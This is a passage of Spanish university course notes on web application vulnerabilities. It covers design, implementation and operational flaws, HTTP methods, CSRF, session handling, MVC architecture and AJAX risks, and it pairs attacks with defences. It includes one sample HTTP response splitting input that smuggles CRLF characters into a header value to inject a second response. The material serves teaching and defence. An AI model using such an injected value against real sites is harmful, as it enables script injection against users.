Seguridad en Aplicaciones On Line

Vulnerabilidades y problemas de
seguridad en las aplicaciones online

[1.1] ¿Cómo estudiar este tema?
[1.2] Introducción a la seguridad en las aplicaciones online
[1.3] Vulnerabilidades de seguridad en el diseño de las

aplicaciones web
[1.4] Vulnerabilidades de seguridad en la implementación de las

aplicaciones web
[1.5] Vulnerabilidades de seguridad en el despliegue de las

aplicaciones web
[1.6] Listas oficiales de vulnerabilidades de

seguridad
[1.7] Referencias TEMA

Esquema
Vulnerabilidades y problemas de seguridad en las aplicaciones online
TEMA 1 – Esquema
Vulnerabilidades
Vulnerabilidades Listas oficiales de
Vulnerabilidades en el en la
en el despliegue vulnerabilidades de
diseño de las aplicaciones implementación
de las seguridad de las
web de las
aplicaciones web aplicaciones web
aplicaciones web
MITRE
CWE CAPEC
OWASP TO TEN 2013
vulnerabilities
SANS TOP 25 vulnerabilities
WASC Threat classification

v. 2.0
Seguridad en Aplicaciones Online
© Universidad Internacional de La Rioja (UNIR)

Ideas clave
1.1. ¿Cómo estudiar este tema?
Para estudiar este tema lee las Ideas clave que encontrarás a continuación.
Además, para el estudio del apartado Listas oficiales de vulnerabilidades de seguridad

tendrás que estudiar las páginas 7 a 16 del proyecto OWASP TOP Ten 2013 disponible
en el aula virtual o a través de la siguiente dirección:
https://www.owasp.org/images/5/5f/OWASP_Top_10_-_2013_Final_-
_Espa%C3%B1ol.pdf
En este tema analizaremos los problemas y vulnerabilidades de seguridad que se pueden

cometer en el ciclo de vida de desarrollo de software y en el desempeño de la aplicación
en producción:
» El diseño de seguridad de las capas de la arquitectura física y lógica de las aplicaciones

web:
o Aplicaciones web de n-capas.
o Tecnología web 2.0, AJAX, FLASH, JSON.
» La implementación y desarrollo de las aplicaciones web:

o Vulnerabilidades en el código fuente.
o Configuraciones de seguridad deficientes.
» En la fase de producción online.

o Vulnerabilidades en los procedimientos de monitorización.
o Vulnerabilidades debidas a la mala gestión en la seguridad de las configuraciones.
o Vulnerabilidades en el diseño de los procedimientos de backup: recuperación.
o Vulnerabilidades en el diseño del proceso de respuesta ante incidentes de
seguridad.
TEMA 1 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

1.2. Introducción a la seguridad en las aplicaciones online
Esta asignatura tiene como objetivo cubrir qué artefactos son necesarios para
implementar la seguridad de las aplicaciones para que una vez desplegadas se comporten
de la forma esperada, tanto por los propietarios como por parte de los usuarios de la
aplicación.
Las actividades de seguridad en las cuales se va a centrar el contenido de esta asignatura

son:
» El diseño de los servicios de autenticación.

» Gestión de sesiones y autorización seguras.
» La auditoría de seguridad mediante test de penetración.
» Operaciones de seguridad que se deben realizar en fase de producción.
Otras actividades de seguridad como derivación de requisitos de seguridad, modelado de

amenazas y análisis y gestión del riesgo o análisis de la seguridad del código son objetos
de otras de las asignaturas incluidas en la titulación.
Los objetivos de seguridad a alcanzar en los sistemas de información y

comunicaciones TIC pasan por:
» Identificar a las personas que acceden a la información manejada por un sistema o

a los recursos del mismo.
» Autenticar a las personas que acceden a la información manejada por un sistema o
a los recursos del mismo.
» Controlar el acceso a la información manejada por un sistema o a los recursos del
mismo.
» Proporcionar confidencialidad a la información manejada por un sistema.
» Proporcionar integridad a la información manejada por un sistema o a los recursos
del mismo.
» Mantener la disponibilidad de la información manejada por un sistema o de los
recursos del mismo.
» No repudio. Proporcionar la prueba de que una determinada transmisión o
recepción ha sido realizada, no pudiendo su receptor/transmisor negar que se haya
producido.

» Trazabilidad. Proporcionar los controles que determinen que en todo momento se

podrá determinar quién hizo qué y en qué momento.
Las vulnerabilidades de las aplicaciones son simplemente debilidades en un

sistema que los atacantes pueden aprovechar para obtener alguna ventaja poniendo en
peligro los objetivos de seguridad antes mencionados. En el contexto de la seguridad del
software las vulnerabilidades son defectos o descuidos específicos en una parte del
software. Estos descuidos permiten que los atacantes hagan algo malicioso o que alteren
información sensible o que interrumpan o destruyan un sistema o tomar el control de un
sistema informático o de un programa. Son errores o descuidos en los programas que
dan lugar a un comportamiento inesperado y típicamente indeseable.
Se puede afirmar que para que un ataque aproveche una vulnerabilidad (debilidad en
el diseño, código, configuración, protección online de una aplicación) y se materialice en
una aplicación generando un impacto de negocio para la organización es necesario que
intervengan una serie de factores (ver figura siguiente):
» Agente o amenaza: es la persona que realiza el ataque.

» Vectores de ataque: medio del que se sirve para llevar a cabo el ataque.
» Debilidad: vulnerabilidad de seguridad.
» Ausencia o fallo en el control.
» Impacto en algún activo de los sistemas de información de la organización.
» Impacto en el negocio de la organización.
Materialización de una amenaza: ataque.

Fuente: https://www.owasp.org/index.php/File:Top_10_2013-appsec-risks.png

Las principales vulnerabilidades de seguridad que pueden impedir los objetivos

anteriormente citados que las aplicaciones pueden sufrir tienen su origen en las
deficiencias y fallos que se produjeron en cada una de las fases del ciclo de vida de
desarrollo de software.
Existen por tanto:
» Vulnerabilidades de seguridad en el diseño: por ejemplo vulnerabilidades

funcionales de seguridad como autorización, control de accesos, etc.
» Vulnerabilidades de seguridad en el código debidas a fallos de seguridad en la
implementación.
» Vulnerabilidades de seguridad en la operación debidos a fallos de configuración,
una vez desplegada la aplicación.
Por tal motivo es necesario convertir el ciclo de vida de desarrollo de aplicaciones en un

ciclo de vida de desarrollo seguro. Cuanto más se tarde en solucionar una
vulnerabilidad del tipo que sea mayor será el coste de dicha solución. En la figura
siguiente se puede observar cómo aumenta el coste con el tiempo de la reparación de una
vulnerabilidad según la fase o etapa en que se acomete.
Incremento del coste
Cost
Time
Fuente: Graff, M. (2001)

Vemos que se pueden definir las clases de vulnerabilidades en función de las fases
del SSDLC. Las clases de vulnerabilidades comúnmente aceptadas incluyen
vulnerabilidades de diseño, implementación y vulnerabilidades operacionales.
La derivación de requisitos de seguridad y análisis de las distintas posibilidades de diseño

de la arquitectura de las aplicaciones web es el punto de partida en la construcción de
una aplicación web. La arquitectura elegida ha de ser la más adecuada y estar diseñada
en función de los requisitos de seguridad de una aplicación web. En la fase de análisis
de requisitos y en la fase de diseño del ciclo de vida de desarrollo de software
y sistemas se derivan los requisitos de seguridad de la aplicación y en función de estos
se define la arquitectura más adecuada para cumplir con el objetivo de seguridad. Todas
las partes a desarrollar en una aplicación web (y cualquier otro tipo de software) tienen
que diseñarse pensando en la seguridad desde las fases más tempranas del SDLC.
Aprovechando cualquier tipo de vulnerabilidad pueden darse ataques de diversos tipos

según Cheswick (2003):
» Stealing Passwords.
» Sql injection.
» Cross Site Scripting.
» Social Engineering.
» Bugs and Back Doors.
» Authentication Failures.
» Protocol Failures.
» Information Leakage.
» Exponential Attacks Viruses and Worms.
» Denial-of-Service Attacks.
» Botnets.
» Active Attacks.
En sentido general un ataque contra un sistema es cualquier acto malévolo previsto

contra un sistema o un conjunto de sistemas. Hay dos conceptos muy importantes en
esta definición que merece la pena precisar. Primero decimos solamente que el acto está
realizado con intención malévola, sin especificar ningunas metas u objetivos. En segundo
lugar algunos ataques se dirigen a un sistema particular, mientras que otros no tienen
ningún objetivo en particular.

Los ataques pueden ser debidos a defectos, que pueden tener lugar en cualquiera de las
fases del ciclo de vida de desarrollo del software y sistemas. A continuación se presentan
unos cuantos ejemplos de ataques debidos a defectos de seguridad en el diseño, en la
implementación y en la operación.
Nivel de diseño
» Ataque de hombre en medio. Este ataque ocurre cuando el atacante intercepta la

comunicación entre dos hosts, entonces suplanta la identidad de una de las dos partes.
Su defensa consistiría en el uso de autenticación basada en criptografía, por ejemplo
utilizando ssh en lugar de telnet.
» Ataque de condiciones de carrera. TOCTOU. En un sistema operativo

multiusuario se conceden ventanas de tiempo a las distintas tareas de los procesos y
a veces entre estas tareas se intercala en una de esas ventanas un atacante que puede
comprometer la seguridad. En este ejemplo puede haber una ventana muy breve que
dé la oportunidad para que un atacante substituya un archivo nuevo (que contiene
código del ataque) por el archivo previamente comprobado.
Tal sustitución puede implicar el uso del software malicioso del atacante. La defensa
sería evitar operaciones no atómicas si pueden tener implicaciones de seguridad. Si
no se está seguro de sí una operación es atómica, se asume que el sistema operativo
puede ejecutarla en dos pasos o más pasos interrumpibles.
» Ataque con sniffer. Un sniffer es un software que captura los paquetes del tráfico
de la red con el objetivo de capturar nombres de usuario y passwords que se
transmiten en claro. La defensa sería usar protocolos seguros de autenticación en la
validación de los usuarios de las aplicaciones. Secuestro de sesiones. Este tipo de
ataque explota las debilidades del protocolo TCPIP secuestrando una conexión
establecida.

Nivel de implementación
» Ataque de buffer overflow. No hacer comprobaciones de la longitud de los

campos de entrada de una aplicación puede dar lugar a un desbordamiento de la
memoria y redirigir la ejecución a código malicioso que se puede contener en los datos
de entrada mismos. La defensa consiste en hacer comprobaciones de código fuente
para asegurarse que no se van a producir esos desbordamientos.
» Ataque de inyección de SQL. Los ataques de inyección de SQL muy comunes en

aplicaciones web aprovechan la categoría de vulnerabilidades de entradas invalidadas
y consiguen extraer o incluso borrar información de la base de datos alterando la
sentencia de la consulta porque los campos de entrada no se han validado y no se
diferencian las palabras clave que forman parte de la consulta SQL de lo que son
puramente datos de entrada. La defensa consiste en hacer comprobaciones de los
datos de entrada para asegurarse de que ese contenido no altera el formato de la
consulta.
» Ataques de puerta-atrás. Hay que establecer un adecuado proceso de

aseguramiento de la calidad de código que impida que algún programador
malintencionadamente escriba código que permita que se pueda saltar el control de
entrada. Un ejemplo sería la creación de un usuario que fuera súper-privilegiado y
que, por su puesto, solo él conoce y que en un futuro podría aprovechar con el fin de
hacerse con el control de la aplicación o cedérselos a terceros por motivos que pueden
ser diversos (económicos, políticos, etc.).
Nivel de operación
» Ataques de denegación de servicio. Un sistema, un equipo o una red pueden

verse afectados por una cascada de solicitudes de servicio. Por ejemplo de peticiones
de conexión telnet, ftp, http a tan alta frecuencia que pasado un tiempo debido al
consumo de memoria de cada intento de conexión se puede llegar a la caída del
sistema. Por ello hay que activar sistemas de monitorización que alerten de esos
intentos de conexión masivos y limitar el uso de los recursos.

» Ataque aprovechando configuraciones por defecto. Al comienzo cuando se

instalan sistemas operativos, servicios o aplicaciones hay que deshabilitar las cuentas
de usuario por defecto o también servicios como servidores web en encaminadores,
conmutadores, también servidores tftp, etc. De esta forma se evitan muchos ataques
por configuraciones por defecto conocidas por ser estándar por diseño.
» Ataque por descubrimiento de contraseñas. También ataque por craking de

passwords, debido a malas elecciones de las passwords y utilización de programas
que utilizan algoritmos y diccionarios que terminan por crackear las passwords
almacenadas como hash en los ficheros shadow de unix o sam de Windows. Para
protegerse de estos ataques hay que diseñar las aplicaciones de tal manera que se
exijan contraseñas robustas con combinaciones de números, letras, mayúsculas,
minúsculas que no tengan sentido alguno. Si es posible, aún mejor utilizar tarjetas
PKI con certificados digitales que permitan utilizar una autenticación de cliente con
el protocolo SSL u otro similar.
1.3. Vulnerabilidad de seguridad en el diseño de las aplicaciones

web
En general, vulnerabilidades de seguridad en el diseño pueden ser debidos a

deficiencias en el diseño de la seguridad en cualquiera de los componentes de la
arquitectura de una aplicación y sus procedimientos de uso en producción:
» El cliente, los navegadores web.

» Los sistemas operativos donde residen los servicios.
» Los servidores web, servidores de aplicaciones.
» Los servidores de bases de datos.
» Las líneas de comunicación.
En este apartado se introducen las vulnerabilidades debido a la propia naturaleza de las

aplicaciones web. Las aplicaciones web son difíciles por ciertas razones. Si los
usuarios tienen un acceso fácil a la aplicación los usuarios malévolos tienen acceso fácil
también.

No hay ningún modo de saber de antemano que una petición a una aplicación será
benigna. En general, vulnerabilidades de seguridad en el diseño de las
aplicaciones web tienen que ver con:
Vulnerabilidades relativas a la elección concreta del navegador, sus

vulnerabilidades debidas a su concepción monolítica o sandboxing, su propio
código, su configuración de seguridad (Silic, 2010).
Vulnerabilidades de diseño relacionados con el protocolo HTTP de
comunicación.
Vulnerabilidades en la elección del tipo y diseño de arquitectura. Por
ejemplo, la tecnología web 2.0 tiene aspectos de diseño que originan
vulnerabilidades de seguridad distintas de las aplicaciones web tradicionales.
Vulnerabilidades de diseño de los servicios de identificación,
autenticación y control de acceso a los recursos de los sistemas operativos,
servicios y aplicaciones.
Vulnerabilidades en el diseño de los procedimientos de monitorización y
de las herramientas utilizadas.
Vulnerabilidades en el diseño de los procedimientos de backup,
recuperación y respuesta ante incidentes de seguridad.
Vulnerabilidades en el protocolo HTTP de comunicación
El protocolo HTTP no fue diseñado para aplicaciones y seguramente no para usos

seguros. HTTP crea oportunidades para tener vulnerabilidades de seguridad de la misma
manera que en las funciones de string de la biblioteca estándar de C crean oportunidades
para el desbordamiento de buffer: Los programadores tienen que tener su modo de
asegurarse de que lo que hacen es seguro.

El protocolo HTTP implementa una serie de métodos especificados en HTTP 1.1 rfc
2616. Son los siguientes:
» HEAD: pide una respuesta idéntica a la que correspondería a una petición GET pero
sin el cuerpo de la respuesta. Esto es útil para la recuperación de meta-información
escrita en los encabezados de respuesta, sin tener que transportar todo el contenido.
» GET: pide una representación del recurso especificado. Por seguridad no debería
ser usado por aplicaciones que causen efectos ya que transmite información a través
de la URI agregando parámetros a la URL.
Ejemplo: GET /images/logo.png HTTP/1.1 obtiene un recurso llamado logo.png.

Ejemplo con parámetros: GET /index.php?page=main&lang=es
» POST: envía los datos para que sean procesados por el recurso identificado (url). Los
datos se incluirán en el cuerpo de la petición. Esto puede resultar en la creación de un
nuevo recurso o de las actualizaciones de los recursos existentes o ambas cosas.
» PUT: sube, carga o realiza un upload de un recurso especificado (archivo). Es el

camino más eficiente para subir archivos a un servidor. Esto es porque en POST utiliza
un mensaje multiparte y el mensaje es decodificado por el servidor. En contraste,
el método PUT te permite escribir un archivo en una conexión socket establecida con
el servidor. La desventaja del método PUT es que los servidores de hosting
compartido no lo tienen habilitado.
Ejemplo: PUT /path/filename.html HTTP/1.1
» DELETE: borra el recurso especificado.
» TRACE: este método solicita al servidor que envíe de vuelta en un mensaje de

respuesta. Se utiliza con fines de comprobación y diagnóstico.
» OPTIONS: devuelve los métodos HTTP que el servidor soporta para un URL
específico. Este método puede ser utilizado para comprobar la funcionalidad de un
servidor web.

» CONNECT: se utiliza para saber si se tiene acceso a un host no necesariamente la

petición llega al servidor. Este método se utiliza principalmente para saber si un proxy
nos da acceso a un host.
En la siguiente figura se observa cómo se puede especificar un método http.
Métodos http
En una petición GET los parámetros que se incluyen en la cadena de la URL pueden ser
rutinariamente escritos a LOG,s cache del navegador y almacenados en el historial del
navegador revelando información sensible como passwords, etc. Es más sencillo
prevenir XSS deshabilitando GET en las aplicaciones. Es más fácil para un atacante
enviando emails con una URL con parámetros maliciosos:
Métodos HTTP GET

Sin embargo con el método POST los parámetros se especifican en el cuerpo de la

petición. Siendo más seguro se debe de utilizar POST en lugar de GET:
Métodos HTTP POST
POST /csp/login.jsp HTTP/1.1

Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Cookie: brId=3004
Referer:
https://www.example.com/dashboard/index
.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE
9.0; Windows NT 5.1;
SV1)
Content-Type: application/x-www-form-
urlencoded
Content-Length: 212
Connection: keep-alive
Host: www.example.com
usr=bvc&passwd=123
Métodos POST vs GET
Procedencia de peticiones: si la aplicación usa un identificador de sesión (cookie)

con un formulario (administración) para crear un usuario:
Procedencia de peticiones CSRF

Fuente: Silic (2010)

Un atacante podría tener un sitio web con:
Procedencia de peticiones CSRF

Si el administrador visita el sitio controlado por el atacante se puede dar un ataque Cross
site request forguery (CSRF). Para prevenirlo se puede incluir algún campo que la
aplicación pueda validar:
Procedencia de peticiones. Protección CSRF

Otras vulnerabilidades que se pueden presentar en el protocolo HTTP es la

vulnerabilidad http response spliting que consiste en incluir caracteres \r\n de
retorno de carro y de línea para generar una respuesta doble
(https://www.acunetix.com/websitesecurity/crlf-injection/) que se ejecutarán en el
navegador del usuario permitiendo lanzar otros ataques como XSS:
HTTP Response Spliting

Si el atacante suministra una cadena como Wiley Hacker\r\n\r\nHTTP/1.1 200

OK\r\n..., la respuesta se convierte en doble permitiendo inyectar código HTML:
HTTP Response Spliting
El problema de HTTP es más agudo cuando se maneja el estado de sesión que es

necesario en la mayor parte de aplicaciones porque el protocolo en sí mismo es sin
estado. Como HTTP es sin estado, construir casi cualquier tipo de aplicación
sofisticada requiere un identificador de sesión que sirva para ambos sentidos de la
comunicación para asociar las peticiones previas de un usuario con las siguientes. Los
identificadores de sesión pueden ser pasados hacia adelante y hacia atrás como
parámetros URL pero hoy la mayor parte de las aplicaciones manejan cookies.
La razón más común de usar un identificador de sesión es permitir a un usuario

autenticarse solo una vez para continuar con una serie de interacciones con la aplicación.
Esto quiere decir que la seguridad de la aplicación depende de ello siendo muy difícil
para un atacante aprovechar el identificador de sesión para un usuario autenticado.
Una buena gestión de sesión HTTP escoge identificadores de sesión fuertes y se asegura
de que son publicados y revocados en puntos apropiados en el programa. Es importante
tener en cuenta los puntos siguientes:
La escritura de un interfaz de gestión de sesión es difícil. En la mayoría de

los casos es mejor dirigir el esfuerzo para seleccionar un contenedor de aplicación
que ofrece facilidades de gestión de sesión adecuadas que crear sus propias
facilidades de gestión de sesión.
Para los contenedores web de aplicación que permiten que la longitud de

identificador de sesión sea especificada en un archivo de configuración hay que
asegurarse de que el identificador de sesión contiene al menos 128 bits de
datos aleatorios e impedir a los atacantes secuestrar los identificadores de sesión
de los usuarios.

Hacer cumplir un tiempo máximo de inactividad de la sesión y un tiempo de

vida de sesión máximo.
Asegurarse de que el usuario tiene un modo de terminar la sesión.
Asegurarse de que siempre que un usuario se autentique el identificador de

sesión actual es invalidado y uno nuevo se emite.
No solo la aplicación tiene que defenderse a sí misma contra usuarios malévolos sino
también tiene que defender a usuarios honestos contra usuarios malévolos. En otras
palabras los usuarios malévolos tratarán de usar la aplicación como un trampolín para
ataques contra otros objetivos.
Como consecuencia de las vulnerabilidades de seguridad en el protocolo HTTP estas

vulnerabilidades se pueden transmitir al diseño e implementación de los servicios de
control de acceso: autenticación y autorización.
Si estos no se diseñan adecuadamente desde el punto de vista de la seguridad teniendo

en cuenta las vulnerabilidades de seguridad que tiene el protocolo HTTP por diseño
serán servicios inseguros expuestos a ataques de escaneo de contraseñas, snifing,
repetición, etc.
Vulnerabilidades de diseño en la arquitectura de las aplicaciones web (XE

arquitecturas de aplicaciones web).
Las arquitecturas monolíticas son las que utilizan normalmente cuando se

desarrolla la aplicación mediante un lenguaje de script como Coldfusion o PHP.
Cuando se necesita una aplicación escalable y que ofrezca mayor rendimiento y

seguridad se ha de recurrir a una de las opciones de desarrollo empresarial como las
analizadas anteriormente: .Net o J2EE. Estas proporcionarán mayores posibilidades
debidas a las distintas opciones de configuración e implementación de la
seguridad que ofrecen como puede ser la utilización de lenguajes más seguros
potencialmente como java o C#.

Una arquitectura de aplicación escalable normalmente se divide en niveles y si se utilizan

patrones de diseño muchas veces se dividen en porciones reutilizables usando diferentes
lineamientos específicos para reforzar la modularidad, requerimientos de interface y la
reutilización de objetos.
El dividir la aplicación en niveles permite que la aplicación se pueda distribuir entre

varios servidores mejorando por lo tanto la escalabilidad de la aplicación a expensas de
mayor complejidad con controles de acceso y detección avanzados. Existe
separación de tareas y responsabilidades.
Las capas de que se compone una aplicación web (JSON, 2015) son:
» Capa de presentación: servidores web (apache, IIS, etc.).

» Capa de aplicación: servidor de aplicación (weblogic, tomcat, websphere, struts,
.NET, coldfusion, etc.).
» Capa de persistencia: base de datos (Oracle, MS SQL Server, MySQL, PostgreSQL,
etc).
» Clientes web: principal objetivo.
Arquitectura de 3 capas de aplicaciones web.

Uno de los patrones de diseño de las aplicaciones web más comunes es modelo-vista-
controlador (MVC), (Universidad Católica de Temuco, 2015).
MVC se implementa en:
» Las arquitecturas de aplicaciones J2EE como apache foundation jakarta struts.

» WACT para PHP (web application component toolkit, 2015).
» .NET, rubí, phyton disponen de frameworks para implementación de MVC
(Universidad Católica de Temuco, 2015).
MVC posee tres capas:
» Vista: es la capa que se ocupa de generar la presentación al usuario en aplicaciones

web. La vista se compone de páginas HTML que componen el interface de usuario.
Como se señaló anteriormente pueden incluir código javascript que interpretará el

navegador. Los usuarios a través de la interface de la aplicación web pueden rellenar
un formulario y enviarlo al servidor de aplicación que en tecnología J2EE dispone de
un controlador (servlet) que se encarga de seleccionar la lógica de aplicación que se
ocupará de servir la petición del usuario.
En cuanto a cuestiones de seguridad hay que tener en cuenta la información de

autenticación que se puede enviar dentro de las peticiones o cualquier otra
información que pueda comprometer la seguridad de la aplicación con ataques de
sniffing y repetición, fuerza de descubrimiento de contraseñas y todos los
aspectos que conciernen a la interpretación de lenguajes de script por parte del
navegador. Si se permiten hay que validar porque constituyen una potencial fuente de
ataque (Kirda et Ku, 2006). Lo más deseable para implementar los servicios de
autenticación es utilizar los proporcionados por el framework de desarrollo.

Los mecanismos de autenticación http basic y http digest (basic and digest
authentication, 2015) tienen vulnerabilidades de seguridad que se analizarán
en el tema 3. A continuación se representa un esquema del patrón MVC para J2EE.
Fuente: http://www.programacion.com/articulo/manual_basico_de_struts_156
» Controlador. Recoge las peticiones de los usuarios (servlet) para seleccionar el

código de aplicación o lógica de negocio encargado de servir las peticiones de los
usuarios. En tecnología J2EE son JSP,s (java server pages) que integran código
HTML y código java, los encargados de llevar a cabo este cometido de ejecutar la
lógica de negocio correspondiente a la petición.
En cuanto al apartado de seguridad las vulnerabilidades en el servicio de

autorización a los recursos de la aplicación y sistema operativo pueden dar lugar a
ataques de fuga de información. Es más conveniente desde el punto de vista de la
seguridad implementar la lógica de autorización en el sistema gestor de bases de datos
a través del uso de procedimientos almacenados e implementar los servicios de
autenticación utilizando los proporcionados por el framework de desarrollo.
» Modelo. El modelo es la capa de la aplicación que se ocupa de los datos que necesita
la aplicación y los accesos a los mismos. En una aplicación J2EE los componentes de
la lógica de negocio necesitan acceder a los datos de la aplicación (SGBD, repositorio
XML) y para ello solicitan el servicio a un javabean o ejb que se encargan de la llamada
al sistema gestor de base de datos para extraer, insertar, actualizar o borrado de
información.

En el apartado de seguridad puede haber vulnerabilidades en el aseguramiento del

control de acceso, integridad y de revelado de información de los datos
alojados en la aplicación y base de datos. Para ello es necesario diseñar
mecanismos que aseguren la integridad y confidencialidad mediante servicios PKI de
firma digital y cifrado de datos.
En resumen, las vulnerabilidades de seguridad debidas a la arquitectura de diseño física

y lógica son debidas a defectos en los servicios de autenticación, autorización, integridad
de datos y comunicación entre capas.
Vulnerabilidades de diseño Web 2.0: Ajax, JSON, flash
Las tecnologías (J2EE, .NET, PHP) comentadas para el desarrollo de aplicaciones web
incorporan constantemente nuevas especificaciones que tienen que ser estudiadas y
analizadas exhaustivamente para comprender cómo pueden afectar a la seguridad y qué
nuevas vulnerabilidades o modalidades de las mismas pueden introducir a la aplicación
que se está desarrollando.
Especificaciones RIA (rich Internet applications) como AJAX (Connolly 2008, JSON
2015, FLASH 2015) son algunas de estas tecnologías cuyo uso está incrementándose y
consecuentemente suponen una nueva fuente de vulnerabilidades de seguridad en
forma de vulnerabilidades en el código y que hay que detectar y corregir a tiempo. En
Cannings 2008 y Scambray 2010 se tratan las debilidades de la nueva generación de
aplicaciones web: WEB 2.0 centrándose en los tipos de ataques en aplicaciones que
utilizan AJAX o FLASH.
» AJAX: es un conjunto de tecnologías que incluyen javascript asíncrono junto con

XML, XSLT, XHTML y DOM. Una aplicación AJAX elimina la naturaleza start-stop-
start-stop de la interacción entre el cliente y el servidor de aplicaciones web
introduciendo un intermediario, un motor AJAX entre el usuario y el servidor.
Parecería que sumar una capa a la aplicación la haría menos reactiva pero es todo lo
contrario. En lugar de cargar una página web en el inicio de la sesión, el navegador
carga un motor AJAX escrito en JavaScript y usualmente escondido en un frame
oculto. Este motor es responsable de procesamiento tanto de la interfaz que el usuario
ve y la comunicación con el servidor en nombre del usuario.

El motor de AJAX permite la interacción del usuario con la aplicación de forma

asincrónica independientemente de la comunicación con el servidor. De esta forma el
usuario no queda esperando la respuesta del servidor.
Cada acción del usuario que normalmente generaría una petición HTTP toma la forma
de una llamada JavaScript al motor AJAX en su lugar. Cualquier respuesta a una
acción del usuario que no requiere un viaje de vuelta al servidor, tales como la
validación de datos simple, edición de datos en la memoria e incluso un poco de
navegación: el motor se encarga por sí solo.
Si el motor necesita algo del servidor con el fin de responder si se trata de

comunicación de datos para el procesamiento, la carga de código de interfaz adicional
o recuperación de nuevos datos, el motor hace esas peticiones de forma asíncrona,
normalmente usando XML sin que se cale interacción de un usuario con la aplicación
(ver la siguiente figura).
Ajax frente al esquema tradicional de aplicaciones web.

Fuente: http://www.adaptivepath.com/ideas/ajax-new-approach-web-applications

Debido a las características de diseño las aplicaciones AJAX, tienen los siguientes
problemas de seguridad:
» Aumento de la superficie de ataque. Las aplicaciones web tradicionales ejecutan

su código en el servidor. Con AJAX parte de ese trabajo se traslada al cliente y parte
se queda en el servidor. El cliente que es por su naturaleza indeterminada
potencialmente hostil (o cuando menos inseguro) intercambiará con el servidor una
gran cantidad de comunicaciones. Cada una de estas es un posible camino de entrada
para el atacante, lo que multiplica sus opciones de éxito. Las peticiones y respuestas
internas de la aplicación serán ahora interceptables en el camino entre cliente y
servidor, aumentando el riesgo de ataques de tipo man-inthe-middle.
» Exposición de la lógica de la aplicación en el cliente. Debido a que parte del

código reside en el cliente y además se encuentra en un lenguaje interpretado como
JavaScript, esta parte de la lógica de la aplicación será siempre conocida. No hay
manera de evitarlo y cualquier intento de ofuscación será una tarea inútil. Si además
se pretende aliviar al servidor de parte de su procesamiento haciéndolo descansar en
el cliente el problema se agravará pues las interioridades de esas funciones
proporcionarán mucha información que el atacante podrá usar para buscar
vulnerabilidades. Es posible incluso un peor escenario si se proporciona en los
comentarios del código o en el almacenamiento local, datos que no debieran ser
conocidos.
» Exposición de funciones internas del servidor. En AJAX el cliente realiza

multitud de llamadas a funciones del servidor usando para ello la API que este le
proporciona. Esto se hace en texto claro y permite que un atacante pueda conocer los
nombres de las funciones, parámetros, variables, tipos de los resultados y rangos
válidos. Cuanto más granular sea la API del servidor (y lo suele ser en tanto más
ajaxificada es la aplicación web) más lógica interna del servidor se estará exponiendo.
Y cuanto más sepa el atacante cómo funciona la aplicación más probable será que
encuentre errores y vulnerabilidades que pueda explotar.

» Acceso a recursos de terceros con baja seguridad. El uso de la política del

mismo origen en el cliente impide en general que los scripts puedan tener acceso o
manipular datos con origen distinto del que proceden. Esto que es una buena medida
de seguridad impide que un script malicioso ataque a un sitio web de terceros u
obtenga acceso a recursos que no debe pero también provoca un problema de
funcionalidad. Por ejemplo una aplicación que necesite realizar llamadas a sitios
distintos de su origen no podrá hacerlo.
Para resolver este problema surgen los AJAX proxies que básicamente se encargan de
contactar a esas otras fuentes desde el servidor y devolver sus respuestas al cliente.
Estos proxies realizan sus peticiones en lugar del cliente pero el origen de las mismas
es el servidor. De esta manera el tercero contactado puede establecer mayores
privilegios de acceso a esas peticiones que cuando son realizadas directamente desde
un cliente. Estos privilegios pueden incluir mayor número de consultas a la BBDD o
acceso a partes de ella que necesitan autenticación. Un atacante podría aprovechar
esto para realizar peticiones al sitio de terceros a través del proxy consiguiendo en la
práctica realizar una escalada de privilegios.
» Violación de la política del mismo origen. Usando la funcionalidad del AJAX

proxy descrito en el anterior punto existen un tipo de meta-aplicaciones denominadas
aggregate sites donde el servidor obtiene datos y código de varias fuentes
reuniéndolos en la misma página. De este modo se puede reunir en un mismo sitio la
funcionalidad de, por ejemplo, un cliente de correo, una red social, una fuente de
noticias, etc. No tiene por qué ser un recopilador de aplicaciones, basta con que
permita la inclusión de trozos de código dentro de la página que añadan bonitos
widgets en un lateral.
El problema que ocasiona esto es que se están ejecutando scripts de distintas

procedencias en la misma página descargados desde el mismo servidor. Esto se salta
la restricción de la política del mismo origen (Same origin policy, 2015) y permite que
cada uno de ellos tenga ahora acceso a los datos y código de los otros, pudiendo
realizar no solo robo de datos sino también el secuestro de la ejecución de los otros
scripts.

» Acceso al DOM. La capacidad de manipular el DOM por parte de los scripts del
cliente también representa una amenaza de seguridad. Un atacante puede modificar
el aspecto de una página para que el usuario realice acciones que revelen sus
credenciales en una especie de phising embebido o inyectar código script en las hojas
de estilo que persistan durante toda la navegación. El acceso a la modificación de la
presentación y la posibilidad de acceder a cookies y credenciales abre todo un abanico
de posibles engaños, tanto a cliente como a servidor.
» Repudio de peticiones. Los scripts que puedan generar peticiones que desde el
punto de vista del servidor provienen del usuario y que además este no perciba que se
están realizando. Estas peticiones contarán con la autorización necesaria (añadida por
el navegador como en el caso de las cookies) y el script podrá obtener respuestas y
generar nuevas peticiones. Desde el punto de vista del servidor habrán sido
transacciones válidas realizadas por un humano y posteriormente dicho humano
tendrá bastantes problemas para negar que las ha realizado en persona (cuando se
percate porque durante la sesión estas estarán ocultas).
» Potenciación del XSS, CSRF y SQLi. En el modelo tradicional web un ataque XSS
solo afecta a la página actual mostrada en el cliente. Ahora gracias a AJAX se pueden
realizar multitud de peticiones a páginas distintas de la actual, realizando el robo de
datos de una manera dinámica, activa y más prolongada (e inadvertida).
Además existe la posibilidad de propagación del script malicioso a otras páginas en

forma de gusano multiplataforma. CSRF. Por su parte también se ve potencia con Ajax
al poder realizar un gran número de peticiones falsificadas (aunque limitadas por la
política del mismo origen). La combinación del CSRF con JavaScript lleva también a
ataques avanzados como el JSON hijacking que permiten extraer datos sin el
obstáculo de la política del mismo origen.
Las posibilidades de inyección SQL también se ven aumentadas gracias a AJAX. Los
puntos de inyección se multiplican al existir múltiples funciones del servidor que
pueden ser llamadas directamente y cuyos parámetros terminarán en una consulta
SQL.
Más grave es cuando la transformación de datos se realiza en el cliente, es decir,

cuando para aliviar el procesamiento en el servidor se envían directamente los datos
en bruto de una consulta SQL al cliente y allí son procesados para ser presentados.

El atacante apreciará en este caso que se le está proporcionando un interfaz para

realizar directamente consultas a la BBDD.
» Mayor dificultad en la auditoría de aplicaciones. Que exista código en la parte

cliente además de en el servidor ya implica un mayor esfuerzo en la auditoría de una
